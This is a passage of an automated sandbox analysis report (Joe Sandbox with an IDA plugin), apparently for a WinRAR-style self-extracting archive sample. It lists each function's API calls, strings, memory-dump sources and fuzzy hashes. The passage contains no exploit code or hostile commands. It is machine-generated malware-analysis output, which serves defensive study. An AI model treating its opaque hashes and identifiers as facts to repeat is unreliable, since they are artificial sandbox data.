Instruction Fuzzy Hash: 38F03776A01229ABCB206BA5EC4CDCF7F6CEF42391F148021BA0BD2194D6348555CBF1

Function 00D2D4D2 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00D31907: _wcslen.LIBCMT ref: 00D3190D

Part of subcall function 00D2CD5C: _wcsrchr.LIBVCRUNTIME ref: 00D2CD73

_wcslen.LIBCMT ref: 00D2D5A4
_wcslen.LIBCMT ref: 00D2D5EC

Strings

.exe, xrefs: 00D2D518
.sfx, xrefs: 00D2D527
.rar, xrefs: 00D2D4EE, 00D2D541

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 3af61cc2b03bb09629704cc7ffdf2d2a5c183b82da4baa39d89c1ba9585b5f8b
Instruction ID: e120c61812097e6212a0aeeb17bea5ea1c2f0d654f213f7fdbe4a2c9a6a369d4
Opcode Fuzzy Hash: 3af61cc2b03bb09629704cc7ffdf2d2a5c183b82da4baa39d89c1ba9585b5f8b
Instruction Fuzzy Hash: DD4139129043319AC731AF34A842A7B73A6EF7674DF18490EFCC65B185E7A08D85C7B2

Function 00D3DFCC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00D3DFE2

Part of subcall function 00D2CAA0: _wcslen.LIBCMT ref: 00D2CAA6

_swprintf.LIBCMT ref: 00D3E016

Part of subcall function 00D24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D24A33

SetDlgItemTextW.USER32(?,00000066,00D72892), ref: 00D3E036
EndDialog.USER32(?,00000001), ref: 00D3E143

Strings

%s%s%u, xrefs: 00D3E00B

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: c4f09dc45e28a3e68e1a061b585ec6cb32f23d8db63554029533f820b91564c0
Instruction ID: ed73cb3541504ac96302295638f28ff3a8381601fde2afea82f55a2ac7dcc59e
Opcode Fuzzy Hash: c4f09dc45e28a3e68e1a061b585ec6cb32f23d8db63554029533f820b91564c0
Instruction Fuzzy Hash: 48419CB1900268AADF25DBA0DC45FEA77BCEB04304F4480A2F909E7191EF719A84CF71

Function 00D2CF32 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D2CF56
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00D2B505,?,?,00000800,?,?,00D2B4CA,?), ref: 00D2CFF4
_wcslen.LIBCMT ref: 00D2D06A

Strings

UNC, xrefs: 00D2CFD6
\\?\, xrefs: 00D2CF81, 00D2CFC8, 00D2D026, 00D2D07D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: fb4174287555c4ff1bd10a3a96963371dd941531939ed4ee0e1446ea0d18507e
Instruction ID: 6ff6de4bdf63b1fdba48c2bb93f7711108de8d5be352dce51c8310e6e2d4b1f4
Opcode Fuzzy Hash: fb4174287555c4ff1bd10a3a96963371dd941531939ed4ee0e1446ea0d18507e
Instruction Fuzzy Hash: C141E53540422ABACF21AF20ED01EEE776AEF65399F144025FCA4A3161D770DD96CAB1

Function 00D3C8CD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00D3C8DD
GetObjectW.GDI32(00000000,00000018,?), ref: 00D3C902
DeleteObject.GDI32(00000000), ref: 00D3C934
DeleteObject.GDI32(00000000), ref: 00D3C957

Part of subcall function 00D3B6D2: FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,00D3C92D,00000066), ref: 00D3B6E5
Part of subcall function 00D3B6D2: SizeofResource.KERNEL32(00000000,?,?,?,00D3C92D,00000066), ref: 00D3B6FC
Part of subcall function 00D3B6D2: LoadResource.KERNEL32(00000000,?,?,?,00D3C92D,00000066), ref: 00D3B713
Part of subcall function 00D3B6D2: LockResource.KERNEL32(00000000,?,?,?,00D3C92D,00000066), ref: 00D3B722
Part of subcall function 00D3B6D2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00D3C92D,00000066), ref: 00D3B73D
Part of subcall function 00D3B6D2: GlobalLock.KERNEL32(00000000), ref: 00D3B74E
Part of subcall function 00D3B6D2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00D3B772
Part of subcall function 00D3B6D2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00D3B7B7
Part of subcall function 00D3B6D2: GlobalUnlock.KERNEL32(00000000), ref: 00D3B7D6
Part of subcall function 00D3B6D2: GlobalFree.KERNEL32(00000000), ref: 00D3B7DD

Strings

], xrefs: 00D3C90A

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 32751d34e38e4d4105f39840a8676623131f02d01155558b1a038d93cd0fd1aa
Instruction ID: c0ded19ac4b9fd988ba57d867e08198fe5172c882974238f267bae070dc45455
Opcode Fuzzy Hash: 32751d34e38e4d4105f39840a8676623131f02d01155558b1a038d93cd0fd1aa
Instruction Fuzzy Hash: 9601223250070667CB113764AC0AB7F7AB9EF81B62F0A0015FA00FB396DF218C059BB0

Function 00D3E750 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00D212F6: GetDlgItem.USER32(00000000,00003021), ref: 00D2133A
Part of subcall function 00D212F6: SetWindowTextW.USER32(00000000,00D545F4), ref: 00D21350

EndDialog.USER32(?,00000001), ref: 00D3E79B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00D3E7B1
SetDlgItemTextW.USER32(?,00000066,?), ref: 00D3E7C5
SetDlgItemTextW.USER32(?,00000068), ref: 00D3E7D4

Strings

RENAMEDLG, xrefs: 00D3E768

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: d41a7df59e940abbd911f46b43ecc16d1c980e9431c612095696cf100e6d88c1
Instruction ID: ee51fda23d9470b1fb87aef113142b15050ed05388375809b3dfcd66a79b10ce
Opcode Fuzzy Hash: d41a7df59e940abbd911f46b43ecc16d1c980e9431c612095696cf100e6d88c1
Instruction Fuzzy Hash: 1D01F776291310BBE2114F78AC4DF677B9DFF59B02F140411F341E61D0C6A2A9098B75

Function 00D49235 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00D491E6,00000000,?,00D49186,00000000,00D5D570,0000000C,00D492DD,00000000,00000002), ref: 00D49255
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D49268
FreeLibrary.KERNEL32(00000000,?,?,?,00D491E6,00000000,?,00D49186,00000000,00D5D570,0000000C,00D492DD,00000000,00000002), ref: 00D4928B

Strings

CorExitProcess, xrefs: 00D49260
mscoree.dll, xrefs: 00D4924E

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e36c14fc7d512e9f2a380368f7ec492052df9b31b6839fd18d804720cfa8e3bf
Instruction ID: a48c36b0725a8944cbbd9afa57640038327948820a8ab1d83821ac8775f3ea7c
Opcode Fuzzy Hash: e36c14fc7d512e9f2a380368f7ec492052df9b31b6839fd18d804720cfa8e3bf
Instruction Fuzzy Hash: E0F0AF30A00318BFCF019BA5EC49B9EBFB4EB04756F500168FD05E22A0DB709E84CAB5

Function 00D30627 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00D31B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D31B56
Part of subcall function 00D31B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D3063A,Crypt32.dll,00000000,00D306B4,00000200,?,00D30697,00000000,00000000,?), ref: 00D31B78

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D30646
GetProcAddress.KERNEL32(00D6A1F0,CryptUnprotectMemory), ref: 00D30656

Strings

CryptProtectMemory, xrefs: 00D30640
Crypt32.dll, xrefs: 00D30630
CryptUnprotectMemory, xrefs: 00D3064C

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: c8d705d6eee6a0af16e120c0f69166c53db2917918e239c0360fe42901aace41
Instruction ID: 8102e8f0b5553648740431e75a96f4ed400e019f66aed2e0523db0670a5375a3
Opcode Fuzzy Hash: c8d705d6eee6a0af16e120c0f69166c53db2917918e239c0360fe42901aace41
Instruction Fuzzy Hash: 27E08C708047119FDB205F78A959B02BFE49F14B0AF14881DEEDAD3295D6B4D4C88B32

Function 00D43D6A Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D43E31
___AdjustPointer.LIBCMT ref: 00D43E54
_abort.LIBCMT ref: 00D43EA2
___AdjustPointer.LIBCMT ref: 00D43EF0

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 75b3dc0e11c06b6f2ca59fa29e81a3c2edcb9afbfc30e4419dea40aff6b60d85
Instruction ID: c36ff99b197086680f505399881037b8dc8eddc64803c72f16b2824b1642b793
Opcode Fuzzy Hash: 75b3dc0e11c06b6f2ca59fa29e81a3c2edcb9afbfc30e4419dea40aff6b60d85
Instruction Fuzzy Hash: 2F51C072A022469FEB299F19D841B7A77A4FF44310F18462DFD4297291E771EE80CBB0

Function 00D4D0F0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00D4D0F9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D4D11C

Part of subcall function 00D4A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D4DBEC,00000000,?,00D480B1,?,00000008,?,00D4A871,?,?,?), ref: 00D4A830

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00D4D142
_free.LIBCMT ref: 00D4D155
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D4D164

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: d244f5e0109a8e77f687d4413b78dc192bd0286ec1be7638b5928234482e4296
Instruction ID: 372c97de39d4ddf3e513d25eca81fe1e6e4242cd8a24c1679798c375c6309d59
Opcode Fuzzy Hash: d244f5e0109a8e77f687d4413b78dc192bd0286ec1be7638b5928234482e4296
Instruction Fuzzy Hash: 18018F726027257F27215ABA6C88C7B7A6EEFC2BA53190129FD08C7301EA648C42C1B1

Function 00D4A599 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00D4A7F0,00D4C348,?,00D4A543,00000001,00000364,?,00D45281,00000050,?,00D63070,00000200), ref: 00D4A59E
_free.LIBCMT ref: 00D4A5D3
_free.LIBCMT ref: 00D4A5FA
SetLastError.KERNEL32(00000000,?,00D63070,00000200), ref: 00D4A607
SetLastError.KERNEL32(00000000,?,00D63070,00000200), ref: 00D4A610

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: e902ffac1f4686746794cae4ad9280962def730b9139bb7db33cc08485c56fb2
Instruction ID: ecdc72ffbf564f740aca5196b9fc324144686b0c5b566bea96a3f3cf04f29f15
Opcode Fuzzy Hash: e902ffac1f4686746794cae4ad9280962def730b9139bb7db33cc08485c56fb2
Instruction Fuzzy Hash: 3E012D361C5B00A78212677C6E45D1B256ADBC137233E0018FD09D22C1FF70CD416177

Function 00D3220D Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00D324EF: ResetEvent.KERNEL32(?), ref: 00D32501
Part of subcall function 00D324EF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00D32515

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00D32241
CloseHandle.KERNEL32(?,?), ref: 00D3225B
DeleteCriticalSection.KERNEL32(?), ref: 00D32274
CloseHandle.KERNEL32(?), ref: 00D32280
CloseHandle.KERNEL32(?), ref: 00D3228C

Part of subcall function 00D32303: WaitForSingleObject.KERNEL32(?,000000FF,00D32526,?), ref: 00D32309
Part of subcall function 00D32303: GetLastError.KERNEL32(?), ref: 00D32315

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: ef2193b40cfa4cb929d7280fba093d30623c6de3cce7ebc7f28451bd22241642
Instruction ID: 89973a06667fc456e09eb67634f12b97582f6cbe7a0afcfcd9daa9839c0c3424
Opcode Fuzzy Hash: ef2193b40cfa4cb929d7280fba093d30623c6de3cce7ebc7f28451bd22241642
Instruction Fuzzy Hash: 3D012472400700EFC7229F68DC84BC6BBA9FB08711F100929F26B922A0CB757A94CB70

Function 00D4D9BF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D4D9D7

Part of subcall function 00D4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?), ref: 00D4A680
Part of subcall function 00D4A66A: GetLastError.KERNEL32(?,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?,?), ref: 00D4A692

_free.LIBCMT ref: 00D4D9E9
_free.LIBCMT ref: 00D4D9FB
_free.LIBCMT ref: 00D4DA0D
_free.LIBCMT ref: 00D4DA1F

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f6c4ad7d6e905ac736f7377aea6181138d4eb3878192f7450626f1713cf91825
Instruction ID: 6e5b5f77ef45e5f797d3795ad58c1a1ecdd3f00c04a2d237a35c64de5a2322a0
Opcode Fuzzy Hash: f6c4ad7d6e905ac736f7377aea6181138d4eb3878192f7450626f1713cf91825
Instruction Fuzzy Hash: 44F0BD72554710AB8620EF69F986C5A77EAFB14B107AD0C0AF048D7652CBB1FC908A75

Function 00D33338 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D33340
_wcslen.LIBCMT ref: 00D33351
_wcslen.LIBCMT ref: 00D33361
_wcslen.LIBCMT ref: 00D3336F
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00D2C844,?,?,00000000,?,?,?), ref: 00D3338A

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 30c3d7018ca47e8bb64fed5f190338d3e4c9cebb6d641942a5d7593f004585d4
Instruction ID: a35de9f3b86537a24e3809efa1ef17f696cc74b9bc263395ff88d5b5c540df48
Opcode Fuzzy Hash: 30c3d7018ca47e8bb64fed5f190338d3e4c9cebb6d641942a5d7593f004585d4
Instruction Fuzzy Hash: C4F01D32009114BBCF122F55DC09DCE3F26EF94771B258015F6196A061CE32D6A596B0

Function 00D49CD0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D49CEE

Part of subcall function 00D4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?), ref: 00D4A680
Part of subcall function 00D4A66A: GetLastError.KERNEL32(?,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?,?), ref: 00D4A692

_free.LIBCMT ref: 00D49D00
_free.LIBCMT ref: 00D49D13
_free.LIBCMT ref: 00D49D24
_free.LIBCMT ref: 00D49D35

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
